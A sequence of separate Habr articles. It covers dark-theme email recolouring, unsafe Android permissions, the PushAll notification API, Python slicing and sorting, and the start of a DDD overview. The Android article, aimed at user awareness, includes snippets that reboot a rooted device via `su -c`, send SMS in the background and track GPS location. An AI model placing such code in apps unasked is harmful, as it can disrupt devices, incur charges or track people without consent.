This method has an incredible advantage that will warm any developer's heart. You can configure color conversion rules for each property — yes, using code! With a bit of imagination, you can fit the colors to any external theme, perform any color correction you wish (for example, do a light theme instead of a dark one, or a theme of any color you like), and even add a little bit of contextuality — for example, treat wide and narrow borders differently.
The disadvantages are what you'd expect from an "everything-in-js" approach. We run scripts, mess up style encapsulation, and parse CSS with regex. The latter, however, isn't as humiliating as with HTML, because CSS grammar is regular (at least at the level we're working with).
Here's our dark plan:
1. Normalize the legacy style properties (`bgcolor` and others) and move them into `style="..."`.
2. Find all the inline styles.
3. Find all the color-related rules in each style (`background-color`, `color`, `box-shadow`, and others).
4. Take the colors from the color-related properties and match them with the right converter (darken the background, lighten the text).
5. Call the converter.
6. Put the converted properties back into the CSS.
The wrapper code — normalization, locating styles, parsing — is quite trivial. Let's see how exactly our magic converter works.
### HSL conversions
Darkening a color isn't as simple as it sounds, especially if you want to preserve the hue (for example, turn blue into dark blue, not orange). You can do this in ordinary RGB, but it's problematic. If you're into algorithmic design, you know that in RGB, even gradients are broken. Meanwhile, working with colors in HSL is a real treat: instead of Red, Green and Blue, which you have no idea what to do with, you have the following three channels:
* Hue — the thing we're looking to preserve.
* Saturation, which is not very important to us right now.
* Lightness, which we will be changing.
You can think of it as a cylinder. We need to turn this cylinder upside down. Color correction does something like this: `(h, s, l) => [h, s, 1-l]`.
### Colors that are already OK
Sometimes we get lucky and the custom design of the email (or a part of it) is already dark. This means we don't need to change anything — the designer probably did a better job at picking the colors than our algorithm could ever dream of. In HSL, you only need to consider the L — Lightness. If its value is higher or lower (for the text and the background, respectively) than the threshold (which you can set), just leave it alone.
### Dynamic circus
Even though we did not need any of this (many thanks, sanitizer, you saved my day here), I'll list the extra features an adaptive theme needs to darken entire pages and not just goofy static emails from the '90s. Fair warning: this task is not for everyone.
#### Dynamic inline styles
Changing inline styles is the simplest case that messes up our dark pages. It is common, but there's a simple fix: add [`MutationObserver`](https://developer.mozilla.org/ru/docs/Web/API/MutationObserver) and fix inline styles as soon as the changes occur.
#### External styles
Working with styles referenced by a element from inside the page can be agonizing because of the asynchronicity and the `@import` statements. And CORS doesn't make things better. It looks like this problem can be solved quite elegantly with a web worker (proxying all `*.css`).
#### Dynamic styles
To make things worse, scripts can add, remove, or rearrange | https://habr.com/ru/post/450032/ | null | en | null |
# Небезопасные разрешения в Android-приложениях
Сегодня Android является одной из наиболее популярных мобильных платформ, используемой в смартфонах, планшетах, умных часах, телевизорах и даже автомобилях. Открытость платформы, широчайшее разнообразие используемых версий и реализаций выводит вопрос безопасности на первый план при создании Android-приложений.
Как известно, безопасность обеспечивается системой разрешений доступа на каждом конкретном Android-устройстве. Эта система призвана защищать важные данные и предотвращать несанкционированный доступ к информации или каналам связи.
По умолчанию ни у одного Android-приложения нет разрешения на проведение операций, которые могут повлиять на ОС, личные данные или другие приложения. Однако без подобного разрешения любое приложение станет бесполезным.
Разрешения являются своеобразным фильтром для функционала приложений, и только от пользователя зависит, давать ли доступ к данным во время инсталляции. Проблема в том, что пользователи обычно не читают, к чему именно хочет получить доступ приложение, и, не задумываясь, его разрешают. Такое поведение создаёт предпосылки для злоупотребления личными данными или даже модифицирования ядра.
Здесь мы рассмотрим существующую систему манифестов и разрешений в Android. Файл манифеста содержит информацию о пакете приложения, включая разрешения, поставщиков контента, сервисы, активности и широковещательных приёмников (broadcast receivers).
Пример общей структуры файла манифеста. Цветом выделены запросы на получение разрешений:
### Самые опасные разрешения
Чтобы решить, к каким данным можно дать доступ, пользователь должен помнить о предназначении этого приложения. Например, «Зачем игре понадобился доступ к моей адресной книге или разрешение отправлять SMS?» Очевидно, что игры не предполагают отправки SMS. Подобные несоответствия функционала запросам доступа должны настораживать в первую очередь.
### Разрешения, которые в будущем вы возможно захотите пересмотреть
1. Запрос root-прав. Пользователь с root-правами может управлять системой без каких-либо ограничений. По умолчанию в Android таких прав не даётся, поскольку неопытные пользователи могут натворить бед. Root-права предоставляются процессом под названием “Rooting the Android device”. И если их получает злонамеренное приложение, то оно сможет делать всё, что ему заблагорассудится.
Вот небольшой пример того, как приложение запускает shell-скрипт с правами привилегированного пользователя, чтобы перезагрузить устройство:
```
try {
String[] reboot = new String[] { "su", "-c", "reboot" };
//-c will cause the next argument to be treated as a command
Process process = Runtime.getRuntime().exec(reboot);
process.waitFor(); //wait for the native process to finish executing.
} catch (Exception e) {
Toast.makeText(getApplicationContext()," Device not rooted.\n Could not reboot...",Toast.LENGTH_SHORT).show();
}
```
С помощью команды `su` приложение запускается с привилегированными правами, и если устройство рутованно, то оно перезагружается. Если же нет, то появляется сообщение:
Чтобы запросить доступ к root:
нужно добавить в файл манифеста строку:
Запрос разрешения на чтение и запись личных данных. Если вы хотите, чтобы пользователи не переживали за свои личные данные, то не используйте в манифесте подобные запросы:
Разрешения, связанные с финансовыми расходами. Некоторые разрешения, бездумно предоставленные пользователями, могут стоить им денег. Чаще всего это отправка SMS/MMS и совершение голосовых вызовов. Причём происходить это может в фоновом режиме, без вызова стандартного телефонного приложения.
Запрос на отправку сообщений:
Запрос на совершение звонков:
Простой пример отправки SMS:
```
String message = "Hello Android fans! ";
String number = "xxxxxxxxxxxx";
//it is preferable to use a complete international number
SmsManager.getDefault().sendTextMessage(number, null, message, null, null);
```
Обратите внимание, что данный код будет работать только в том случае, если соответствующий запрос содержится в файле манифеста:
Доступ к данным геолокации. Если пользователь разрешит, то приложение в любое время сможет получать информацию о:
* примерном местоположении пользователя согласно данным базовых станций и точек Wi-Fi;
* точном местоположении пользователя согласно данным GPS, базовых станций и Wi-Fi.
Запрос доступа к данным о примерном местоположении:
Запрос доступа к данным о точном местоположении:
Вот как осуществляется получение данных о точном местоположении:
```
public class MainActivity extends Activity implements LocationListener {
private LocationManager locationManager;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
locationManager = (LocationManager) getSystemService(Context.LOCATION_SERVICE);
locationManager.requestLocationUpdates(LocationManager.GPS_PROVIDER,
3000, 10, this);
}
@Override
public void onLocationChanged(Location location) {
String myLocation ="Location changed...\n\nYou are located at: " + "\nLatitude: " + location.getLatitude()
+ "\nLongitude: " + location.getLongitude();
Toast.makeText(getApplicationContext(), myLocation, Toast.LENGTH_LONG).show();
}
@Override
public void onProviderDisabled(String provider) {
Intent intent = new Intent(Settings.ACTION_LOCATION_SOURCE_SETTINGS);
startActivity(intent);
Toast.makeText(getApplicationContext(), "Gps is turned off... ",
Toast.LENGTH_SHORT).show();
}
@Override
public void onProviderEnabled(String provider) {
Toast.makeText(getApplicationContext(), "Gps is turned on... ",
Toast.LENGTH_SHORT).show();
}
@Override
public void onStatusChanged(String provider, int status, Bundle extras) {
}
}
```
Не забывайте, что работоспособность данного кода зависит от наличия соответствующего запроса в файле манифеста.
Java-класс `MainActivity` внедряет `LocationListener` для получения нужных данных от устройства. Запрос текущего местоположения осуществляется вызовом `requestLocationUpdates()` в методе `onCreate()`. Когда местоположение изменяется, то для получения новых данных вызывается `onLocationChanged()`. Если GPS-данные недоступны, то вызывается метод onProviderDisabled(), передающий приложению информацию о местоположении.
Доступ к аудио- и видео. Если пользователь даёт такие разрешения, то он рискует тем, что его будут прослушивать или использовать камеру смартфона для слежки. Запросы доступа в файле манифеста:
Установка пакетов. Если дать такое разрешение, то приложение сможет устанавливать дополнительные пакеты без ведома пользователя.
Остановка фоновых процессов. Данное разрешение позволяет приложению вызывать killBackgroundProcesses(String), с чьей помощью оно может останавливать любые выполняющиеся в фоновом режиме процессы.
### Android Marshmallow
В шестой версии Android, анонсированной в мае 2015 года, реализован новый механизм разрешений. Теперь они будут запрашиваться не во время установки приложения, а при первой попытке использования какой-либо функции. Будем надеяться, что это существенно облегчит жизнь как разработчикам, так и пользователям. | https://habr.com/ru/post/268219/ | null | ru | null |
# Уведомления могут помочь вам узнать вашу аудиторию лучше + новости + СоХабр
Предисловие
===========
Наверняка вы все ещё используете СМС-сообщения или E-mail для уведомления ваших пользователей. Уведомления просто улетают, и вы не знаете, что происходит с ними дальше. В PushAll мною была реализована система сбора данных об уведомлениях. Вы сможете сделать рассылку вашим пользователям в канале, после чего следить за тем, что происходит с уведомлениями:
* Сколько человек получило уведомление
* Сколько человек открыло уведомление (перешло по ссылке)
* Сколько человек просто удалило уведомление из списка
Все работает благодаря обратной связи о выполняемых действиях на устройстве.
В чем же польза?
================
Я думаю, уже многие догадались, но опишу. Предположим, у вас есть несколько выходящих видео на ютубе и канал в PushAll с 1000 подписчиками. Вы сможете оценить, дошла ли информация до вашей аудитории и в каком размере, сколько человек перешло на каждое видео, а скольким оно было не интересно. И самое главное — **вы можете сравнить эти показатели и видеть их в динамике**.
В дальнейшем эти данные можно будет получать запросом API. А также они будут записываться с меткой времени. То есть вы сможете посмотреть график: когда пользователи начинали получать уведомления, через какое время они их открыли или закрыли. Как правило, если контент им не интересен, они сразу его закроют. Если же контент им интересен, но сейчас не до него — они могут оставить уведомление «висеть» и откроют его позже. В случае, если он им важен сейчас, они кликнут на него сразу. За счет этого получаем второе преимущество этого подхода — **узнать своевременно ли ваше уведомление** или информация «протухла» или пришла в неположенное время (ночью, на работе, рано утром).
Также за счет определения доставки уведомления, можно дублировать его на другой источник. К примеру, если вы используете уведомления для мониторинга, вы можете в случае проблемы отправить уведомление пушем, а через 10 минут после проверки доставки, если оно не было доставлено, его можно продублировать по СМС. Или, к примеру, если это какая-то система блогов, можно слать пуш, а если он не дошел или не было реакции на него, слать копию на почту. В итоге, сообщения будут точно доходить, и ящик не будет постоянно засоряться.
Эти рекомендации не только приводятся как конкурентные преимущества выбранного сервиса, но и как пример пользы от Push-уведомлений в ваших приложениях.
Unicast API
===========
В предыдущей теме я написал, что данная функция реализована. Ею пока мало кто пользуется, но она очень полезна. Как описал выше — можно отправлять уведомления о личных сообщениях или ответах на комментарии. API достаточно простое: для отправки нужно знать ID пользователя, который можно получить через Callback.
Все достаточно просто:
1. В созданном канале в режиме редактирования вводим адрес, по которому мы получим ID.
2. Копируем ссылку для подписки. По этой ссылке пользователь сразу увидит ваш канал и сможет подписаться на него в один клик.
3. Внедряем в наш скрипт обработку GET параметра pushalluserid, сейчас он передается как АДРЕС?pushalluserid=1, т.е. дополнительные параметры не поддерживаются. Если будет необходимо, сделаю определение ссылки для гибкого добавления параметра.
Надо также учитывать, что пользователь может прийти через каталог и не знать о вашем сайте: при подписке ваш сайт откроется в новой вкладке и пользователь сможет зарегистрироваться у вас. В этом случае надо будет записать ID в сессию, чтобы в дальнейшем привязать номер к пользователю.
Далее отправка делается через cURL, пример на PHP:
```
curl_setopt_array($ch = curl_init(), array(
CURLOPT_URL => "https://pushall.ru/api.php",
CURLOPT_POSTFIELDS => array(
"type" => "unicast",
"id" => "АЙДИ КАНАЛА",
"key" => "КЛЮЧ КАНАЛА",
"uid" => "ID пользователя"
"text" => "Тестовое сообщение",
"title" => "Заголовок"
),
CURLOPT_SAFE_UPLOAD => true,
CURLOPT_RETURNTRANSFER => true
));
$return=curl_exec($ch); //получить данные о рассылке
curl_close($ch);
```
Существуют также дополнительные параметры, подходящие ко всем типам уведомлений:
* url — добавляет ссылку к пушу
* hidden — если равно 1, то скрывает пуш из истории после отправки
* encode — кодировка, например cp1251, если используется utf8 — не использовать
Также ID пользователя можно увидеть самому в списке подписчиков. А также вручную ему отправить какое-либо сообщение.
СоХабр
======
С недавнего времени к нам подключился [СоХабр](https://pushall.ru/?fs=129), он предоставляет удобный интерфейс для просмотра статей на IT-ресурсах «Хабрахабр», «Гиктаймс» и «Мегамозг» — в одной ленте. Он предоставляет удобный интерфейс для просмотра статей на IT-ресурсах «Хабрахабр», «Гиктаймс» и «Мегамозг» — всё в одной ленте. А теперь, благодаря PushAll, он имеет поддержку Push-уведомлений.
После подписки на него вам будут сыпаться все выходящие статьи (что довольно-таки неудобно). Для решения этой проблемы есть фильтры. Выше приведен пример статей с СоХабра, где вы можете в фильтрах ввести необходимые вам хабы, по одному на строчку, и получать уведомления только по ним. Более того, можно вводить не только хабы, но и любые слова заголовка статьи или кусочка текса из описания – всё учитывается. Это делает данную связку более гибкой, чем простые уведомления по хабам.
Параллельно с этим вы можете подписаться на уведомления о выходе озвучек ваших любимых сериалов и прикрутить мониторинг своих сервисов. И все это через одно приложение. | https://habr.com/ru/post/258659/ | null | ru | null |
# Python: коллекции, часть 2/4: индексирование, срезы, сортировка
| [Часть 1](https://habrahabr.ru/post/319164/ "Python: коллекции, часть 1/4: классификация, общие подходы и методы, конвертация") | Часть 2 | [Часть 3](https://habrahabr.ru/post/319876/ "Python: коллекции, часть 3/4: объединение коллекций, добавление и удаление элементов") | [Часть 4](https://habrahabr.ru/post/320288/ "Python: коллекции, часть 4/4: Все о выражениях-генераторах, генераторах списков, множеств и словарей") |
| --- | --- | --- | --- |
Данная статья является продолжением моей статьи "[Python: коллекции, часть 1: классификация, общие подходы и методы, конвертация](https://habrahabr.ru/post/319164/)".
В данной статье мы продолжим изучать общие принципы работы со стандартными коллекциями (модуль collections в ней не рассматривается) Python.
**Для кого:** для изучающих Python и уже имеющих начальное представление о коллекциях и работе с ними, желающих систематизировать и углубить свои знания, сложить их в целостную картину.
#### ОГЛАВЛЕНИЕ:
1. Индексирование
2. [Срезы](#2)
3. [Сортировка](#3)
1. Индексирование
-----------------
### 1.1 Индексированные коллекции
Рассмотрим индексированные коллекции (их еще называют последовательности — sequences) — список (list), кортеж (tuple), строку (string).
Под индексированностью имеется ввиду, что элементы коллекции располагаются в определённом порядке, каждый элемент имеет свой индекс от 0 (то есть первый по счёту элемент имеет индекс не 1, а 0) до индекса на единицу меньшего длины коллекции (т.е. len(mycollection)-1).
### 1.2 Получение значения по индексу
Для всех индексированных коллекций можно получить значение элемента по его индексу в квадратных скобках. Причем, можно задавать отрицательный индекс, это значит, что будем находить элемент с конца считая обратном порядке.
При задании отрицательного индекса, последний элемент имеет индекс -1, предпоследний -2 и так далее до первого элемента индекс которого равен значению длины коллекции с отрицательным знаком, то есть (-len(mycollection).
| элементы | a | b | c | d | e |
| --- | --- | --- | --- | --- | --- |
| индексы | 0 (-5) | 1 (-4) | 2 (-3) | 3 (-2) | 4 (-1) |
```
my_str = "abcde"
print(my_str[0]) # a - первый элемент
print(my_str[-1]) # e - последний элемент
print(my_str[len(my_str)-1]) # e - так тоже можно взять последний элемент
print(my_str[-2]) # d - предпоследний элемент
```
Наши коллекции могут иметь несколько уровней вложенности, как список списков в примере ниже. Для перехода на уровень глубже ставится вторая пара квадратных скобок и так далее.
```
my_2lvl_list = [[1, 2, 3], ['a', 'b', 'c']]
print(my_2lvl_list[0]) # [1, 2, 3] - первый элемент — первый вложенный список
print(my_2lvl_list[0][0]) # 1 — первый элемент первого вложенного списка
print(my_2lvl_list[1][-1]) # с — последний элемент второго вложенного списка
```
### 1.3 Изменение элемента списка по индексу
Поскольку кортежи и строки у нас неизменяемые коллекции, то по индексу мы можем только брать элементы, но не менять их:
```
my_tuple = (1, 2, 3, 4, 5)
print(my_tuple[0]) # 1
my_tuple[0] = 100 # TypeError: 'tuple' object does not support item assignment
```
А вот для списка, если взятие элемента по индексу располагается в левой части выражения, а далее идёт оператор присваивания =, то мы задаём новое значение элементу с этим индексом.
```
my_list = [1, 2, 3, [4, 5]]
my_list[0] = 10
my_list[-1][0] = 40
print(my_list) # [10, 2, 3, [40, 5]]
```
UPD: Примечание: Для такого присвоения, элемент уже должен существовать в списке, нельзя таким образом добавить элемент на несуществующий индекс.
```
my_list = [1, 2, 3, 4, 5]
my_list[5] = 6 # IndexError: list assignment index out of range
```
2 Срезы
-------
### 2.1 Синтаксис среза
Очень часто, надо получить не один какой-то элемент, а некоторый их набор ограниченный определенными простыми правилами — например первые 5 или последние три, или каждый второй элемент — в таких задачах, вместо перебора в цикле намного удобнее использовать так называемый срез (slice, slicing).
Следует помнить, что взяв элемент по индексу или срезом (slice) мы не как не меняем исходную коллекцию, мы просто скопировали ее часть для дальнейшего использования (например добавления в другую коллекцию, вывода на печать, каких-то вычислений). Поскольку сама коллекция не меняется — это применимо как к изменяемым (список) так и к неизменяемым (строка, кортеж) последовательностям.
Синтаксис среза похож на таковой для индексации, но в квадратных скобках вместо одного значения указывается 2-3 через двоеточие:
```
my_collection[start:stop:step] # старт, стоп и шаг
```
#### Особенности среза:
* Отрицательные значения старта и стопа означают, что считать надо не с начала, а с конца коллекции.
* Отрицательное значение шага — перебор ведём в обратном порядке справа налево.
* Если не указан старт **[:stop:step]**— начинаем с самого края коллекции, то есть с первого элемента (включая его), если шаг положительный или с последнего (включая его), если шаг отрицательный (и соответственно перебор идет от конца к началу).
* Если не указан стоп **[start:: step]** — идем до самого края коллекции, то есть до последнего элемента (включая его), если шаг положительный или до первого элемента (включая его), если шаг отрицательный (и соответственно перебор идет от конца к началу).
* step = 1, то есть последовательный перебор слева направо указывать не обязательно — это значение шага по умолчанию. В таком случае достаточно указать **[start:stop]**
* Можно сделать даже так **[:]** — это значит взять коллекцию целиком
* **ВАЖНО**: ***При срезе, первый индекс входит в выборку, а второй нет!***
То есть от старта включительно, до стопа, где стоп не включается в результат. Математически это можно было бы записать как [start, stop) или пояснить вот таким правилом:
```
[ <первый включаемый> : <первый НЕ включаемый> : <шаг> ]
```
Поэтому, например, mylist[::-1] не идентично mylist[:0:-1], так как в первом случае мы включим все элементы, а во втором дойдем до 0 индекса, но не включим его!
#### Примеры срезов в виде таблицы:
**Код примеров из таблицы**
```
col = 'abcdefg'
print(col[:]) # abcdefg
print(col[::-1]) # gfedcba
print(col[::2]) # aceg
print(col[1::2]) # bdf
print(col[:1]) # a
print(col[-1:]) # g
print(col[3:4]) # d
print(col[-3:]) # efg
print(col[-3:1:-1]) # edc
print(col[2:5]) # cde
```
### 2.2. Именованные срезы
Чтобы избавится от «магических констант», особенно в случае, когда один и тот же срез надо применять многократно, можно задать константы с именованными срезами с пользованием специальной функции **slice()**()
Примечание: Nonе соответствует опущенному значению по-умолчанию. То есть [:2] становится slice(None, 2), а [1::2] становится slice(1, None, 2).
```
person = ('Alex', 'Smith', "May", 10, 1980)
NAME, BIRTHDAY = slice(None, 2), slice(2, None)
# задаем константам именованные срезы
# данные константы в квадратных скобках заменятся соответствующими срезами
print(person[NAME]) # ('Alex', 'Smith')
print(person[BIRTHDAY]) # ('May', 10, 1980)
```
```
my_list = [1, 2, 3, 4, 5, 6, 7]
EVEN = slice(1, None, 2)
print(my_list[EVEN]) # [2, 4, 6]
```
### 2.3 Изменение списка срезом
Важный момент, на котором не всегда заостряется внимание — с помощью среза можно не только получать копию коллекции, но в случае списка можно также менять значения элементов, удалять и добавлять новые.
#### Проиллюстрируем это на примерах ниже:
* Даже если хотим добавить один элемент, необходимо передавать итерируемый объект, иначе будет ошибка TypeError: can only assign an iterable
```
my_list = [1, 2, 3, 4, 5]
# my_list[1:2] = 20 # TypeError: can only assign an iterable
my_list[1:2] = [20] # Вот теперь все работает
print(my_list) # [1, 20, 3, 4, 5]
```
* Для вставки одиночных элементов можно использовать срез, код примеров есть ниже, но делать так не рекомендую, так как такой синтаксис хуже читать. Лучше использовать методы списка .append() и .insert():
**Срез аналоги .append() и insert()**
```
my_list = [1, 2, 3, 4, 5]
my_list[5:] = [6] # вставляем в конец — лучше использовать .append(6)
print(my_list) # [1, 2, 3, 4, 5, 6]
my_list[0:0] = [0] # вставляем в начало — лучше использовать .insert(0, 0)
print(my_list) # [0, 1, 2, 3, 4, 5, 6]
my_list[3:3] = [25] # вставляем между элементами — лучше использовать .insert(3, 25)
print(my_list) # [0, 1, 2, 25, 3, 4, 5, 6]
```
* Можно менять части последовательности — это применение выглядит наиболее интересным, так как решает задачу просто и наглядно.
```
my_list = [1, 2, 3, 4, 5]
my_list[1:3] = [20, 30]
print(my_list) # [1, 20, 30, 4, 5]
my_list[1:3] = [0] # нет проблем заменить два элемента на один
print(my_list) # [1, 0, 4, 5]
my_list[2:] = [40, 50, 60] # или два элемента на три
print(my_list) # [1, 0, 40, 50, 60]
```
* Можно просто удалить часть последовательности
```
my_list = [1, 2, 3, 4, 5]
my_list[:2] = [] # или del my_list[:2]
print(my_list) # [3, 4, 5]
```
### 2.4 Выход за границы индекса
Обращение по индексу по сути является частным случаем среза, когда мы обращаемся только к одному элементу, а не диапазону. Но есть очень важное отличие в обработке ситуации с отсутствующим элементом с искомым индексом.
Обращение к несуществующему индексу коллекции вызывает ошибку:
```
my_list = [1, 2, 3, 4, 5]
print(my_list[-10]) # IndexError: list index out of range
print(my_list[10]) # IndexError: list index out of range
```
А в случае выхода границ среза за границы коллекции никакой ошибки не происходит:
```
my_list = [1, 2, 3, 4, 5]
print(my_list[0:10]) # [1, 2, 3, 4, 5] — отработали в пределах коллекции
print(my_list[10:100]) # [] - таких элементов нет — вернули пустую коллекцию
print(my_list[10:11]) # [] - проверяем 1 отсутствующий элемент - пустая коллекция, без ошибки
```
**Примечание**: Для тех случаев, когда функционала срезов недостаточно и требуются более сложные выборки, можно воспользоваться синтаксисом выражений-генераторов, рассмотрению которых посвещена [4 статья цикла](https://habrahabr.ru/post/320288/).
3 Сортировка элементов коллекции
--------------------------------
Сортировка элементов коллекции важная и востребованная функция, постоянно встречающаяся в обычных задачах. Тут есть несколько особенностей, на которых не всегда заостряется внимание, но которые очень важны.
### 3.1 Функция **sorted**()
Мы может использовать функцию sorted() для вывода списка сортированных элементов любой коллекции для последующее обработки или вывода.
* функция не меняет исходную коллекцию, а возвращает новый список из ее элементов;
* не зависимо от типа исходной коллекции, вернётся список (list) ее элементов;
* поскольку она не меняет исходную коллекцию, ее можно применять к неизменяемым коллекциям;
* Поскольку при сортировке возвращаемых элементов нам не важно, был ли у элемента некий индекс в исходной коллекции, можно применять к неиндексированным коллекциям;
* Имеет дополнительные не обязательные аргументы:
**reverse=True** — сортировка в обратном порядке
**key=funcname** (начиная с Python 2.4) — сортировка с помощью специальной функции funcname, она может быть как стандартной функцией Python, так и специально написанной вами для данной задачи функцией и лямбдой.
```
my_list = [2, 5, 1, 7, 3]
my_list_sorted = sorted(my_list)
print(my_list_sorted) # [1, 2, 3, 5, 7]
my_set = {2, 5, 1, 7, 3}
my_set_sorted = sorted(my_set, reverse=True)
print(my_set_sorted) # [7, 5, 3, 2, 1]
```
Пример сортировки списка строк по длине len() каждого элемента:
```
my_files = ['somecat.jpg', 'pc.png', 'apple.bmp', 'mydog.gif']
my_files_sorted = sorted(my_files, key=len)
print(my_files_sorted) # ['pc.png', 'apple.bmp', 'mydog.gif', 'somecat.jpg']
```
### 3.2 Функция **reversed**()
Функция reversed() применяется для последовательностей и работает по другому:
* возвращает генератор списка, а не сам список;
* если нужно получить не генератор, а готовый список, результат можно обернуть в list() или же вместо reversed() воспользоваться срезом [: :-1];
* она **не сортирует** элементы, а возвращает их в обратном порядке, то есть читает с конца списка;
* из предыдущего пункта понятно, что если у нас коллекция неиндексированная — мы не можем вывести её элементы в обратном порядке и эта функция к таким коллекциям не применима — получим «TypeError: argument to reversed() must be a sequence»;
* не позволяет использовать дополнительные аргументы — будет ошибка «TypeError: reversed() does not take keyword arguments».
```
my_list = [2, 5, 1, 7, 3]
my_list_sorted = reversed(my_list)
print(my_list_sorted) #
print(list(my\_list\_sorted)) # [3, 7, 1, 5, 2]
print(my\_list[::-1]) # [3, 7, 1, 5, 2] - тот же результат с помощью среза
```
### 3.3 Методы списка .**sort**() и .**reverse**()
У списка (и только у него) есть особые методы .sort() и .reverse() которые делают тоже самое, что соответствующие функции sorted() и reversed(), но при этом:
* Меняют сам исходный список, а не генерируют новый;
* Возвращают None, а не новый список;
* поддерживают те же дополнительные аргументы;
* в них не надо передавать сам список первым параметром, более того, если это сделать — будет ошибка — не верное количество аргументов.
```
my_list = [2, 5, 1, 7, 3]
my_list.sort()
print(my_list) # [1, 2, 3, 5, 7]
```
**Обратите внимание:** Частая ошибка начинающих, которая не является ошибкой для интерпретатора, но приводит не к тому результату, который хотят получить.
```
my_list = [2, 5, 1, 7, 3]
my_list = my_list.sort()
print(my_list) # None
```
### 3.4 Особенности сортировки словаря
В сортировке словаря есть свои особенности, вызванные тем, что элемент словаря — это пара ключ: значение.
UPD: Так же, не забываем, что говоря о сортировке словаря, мы имеем ввиду сортировку полученных из словаря данных для вывода или сохранения в индексированную коллекцию. Сохранить данные сортированными в самом стандартном словаре не получится, они в нем, как и других неиндексированных коллекциях находятся в произвольном порядке.
* sorted(my\_dict) — когда мы передаем в функцию сортировки словарь без вызова его дополнительных методов — идёт перебор только ключей, сортированный список ключей нам и возвращается;
* sorted(my\_dict.**keys**()) — тот же результат, что в предыдущем примере, но прописанный более явно;
* sorted(my\_dict.**items**()) — возвращается сортированный список кортежей (ключ, значение), сортированных по ключу;
* sorted(my\_dict.**values**()) — возвращается сортированный список значений
```
my_dict = {'a': 1, 'c': 3, 'e': 5, 'f': 6, 'b': 2, 'd': 4}
mysorted = sorted(my_dict)
print(mysorted) # ['a', 'b', 'c', 'd', 'e', 'f']
mysorted = sorted(my_dict.items())
print(mysorted) # [('a', 1), ('b', 2), ('c', 3), ('d', 4), ('e', 5), ('f', 6)]
mysorted = sorted(my_dict.values())
print(mysorted) # [1, 2, 3, 4, 5, 6]
```
Отдельные сложности может вызвать **сортировка словаря** не по ключам, а **по значениям**, если нам не просто нужен список значений, и именно выводить пары в порядке сортировки по значению.
Для решения этой задачи можно в качестве специальной функции сортировки передавать lambda-функцию **lambda x: x[1]** которая из получаемых на каждом этапе кортежей (ключ, значение) будет брать для сортировки второй элемент кортежа.
```
population = {"Shanghai": 24256800, "Karachi": 23500000, "Beijing": 21516000, "Delhi": 16787941}
# отсортируем по возрастанию населения:
population_sorted = sorted(population.items(), key=lambda x: x[1])
print(population_sorted)
# [('Delhi', 16787941), ('Beijing', 21516000), ('Karachi', 23500000), ('Shanghai', 24256800)]
```
### UPD от [ShashkovS](https://habr.com/en/users/shashkovs/): 3.5 Дополнительная информация по использованию параметра key при сортировке
Допустим, у нас есть список кортежей названий деталей и их стоимостей.
Нам нужно отсортировать его сначала по названию деталей, а одинаковые детали по убыванию цены.
```
shop = [('каретка', 1200), ('шатун', 1000), ('седло', 300),
('педаль', 100), ('седло', 1500), ('рама', 12000),
('обод', 2000), ('шатун', 200), ('седло', 2700)]
def prepare_item(item):
return (item[0], -item[1])
shop.sort(key=prepare_item)
```
**Результат сортировки**
```
for det, price in shop:
print('{:<10} цена: {:>5}р.'.format(det, price))
# каретка цена: 1200р.
# обод цена: 2000р.
# педаль цена: 100р.
# рама цена: 12000р.
# седло цена: 2700р.
# седло цена: 1500р.
# седло цена: 300р.
# шатун цена: 1000р.
# шатун цена: 200р.
```
Перед тем, как сравнивать два элемента списка к ним применялась функция prepare\_item, которая меняла знак у стоимости (функция применяется ровно по одному разу к каждому элементу. В результате при одинаковом первом значении сортировка по второму происходила в обратном порядке.
Чтобы не плодить утилитарные функции, вместо использования сторонней функции, того же эффекта можно добиться с использованием лямбда-функции.
```
# Данные скопировать из примера выше
shop.sort(key=lambda x: (x[0], -x[1]))
```
Дополнительные детали и примеры использования параметра key:
* [wiki.python.org/moin/HowTo/Sorting#Key\_Functions](https://wiki.python.org/moin/HowTo/Sorting#Key_Functions) (на английском).
* [habrahabr.ru/post/319200/#comment\_10011882](https://habrahabr.ru/post/319200/#comment_10011882) — еще один комментарий с детальным примером [ShashkovS](https://habr.com/en/users/shashkovs/) к данной статье
### UPD от [ShashkovS](https://habr.com/en/users/shashkovs/): 3.6 Устойчивость сортировки
Допустим данные нужно отсортировать сначала по столбцу А по возрастанию, затем по столбцу B по убыванию, и наконец по столбцу C снова по возрастанию.
Если данные в столбце B числовые, то при помощи подходящей функции в key можно поменять знак у элементов B, что приведёт к необходимому результату.
А если все данные текстовые? Тут есть такая возможность.
Дело в том, что сортировка sort в Python устойчивая (начиная с Python 2.2), то есть она не меняет порядок «одинаковых» элементов.
Поэтому можно просто отсортировать три раза по разным ключам:
```
data.sort(key=lambda x: x['C'])
data.sort(key=lambda x: x['B'], reverse=True)
data.sort(key=lambda x: x['А'])
```
Дополнительная информация по устойчивости сортировки и примеры: [wiki.python.org/moin/HowTo/Sorting#Sort\_Stability\_and\_Complex\_Sorts](https://wiki.python.org/moin/HowTo/Sorting#Sort_Stability_and_Complex_Sorts) (на наглийском).
| [Часть 1](https://habrahabr.ru/post/319164/ "Python: коллекции, часть 1/4: классификация, общие подходы и методы, конвертация") | Часть 2 | [Часть 3](https://habrahabr.ru/post/319876/ "Python: коллекции, часть 3/4: объединение коллекций, добавление и удаление элементов") | [Часть 4](https://habrahabr.ru/post/320288/ "Python: коллекции, часть 4/4: Все о выражениях-генераторах, генераторах списков, множеств и словарей") |
| --- | --- | --- | --- |
#### Приглашаю к обсуждению:
* Если я где-то допустил неточность или не учёл что-то важное — пишите в комментариях, важные комментарии будут позже добавлены в статью с указанием вашего авторства.
* Если какие-то моменты не понятны и требуется уточнение — пишите ваши вопросы в комментариях — или я или другие читатели дадут ответ, а дельные вопросы с ответами будут позже добавлены в статью. | https://habr.com/ru/post/319200/ | null | ru | null |
# Domain-Driven Design: стратегическое проектирование. Часть 1
Здравствуйте, хабрапользователи! В этой статье речь пойдет о предметно-ориентированном проектировании программного обеспечения с использованием, в первую очередь, стратегических шаблонов. Вторую часть – про тактическое проектирование – читайте [здесь](https://habrahabr.ru/post/316890/).
Данный подход использовал Вон Вернон в своей книге «Реализация методов предметно-ориентированного проектирования». Цель написания этой книги: дать возможность разработчикам совершить полет на самолете DDD (в детстве автор зачастую путешествовал со своей семьей на небольших самолетах). Вид с высоты дает более широкое представление о проблемах моделирования, не давая застрять в различных технических деталях. Наблюдая ландшафт DDD таким способом, можно осознать преимущества как стратегического, так и технического проектирования. Подробнее – под катом!
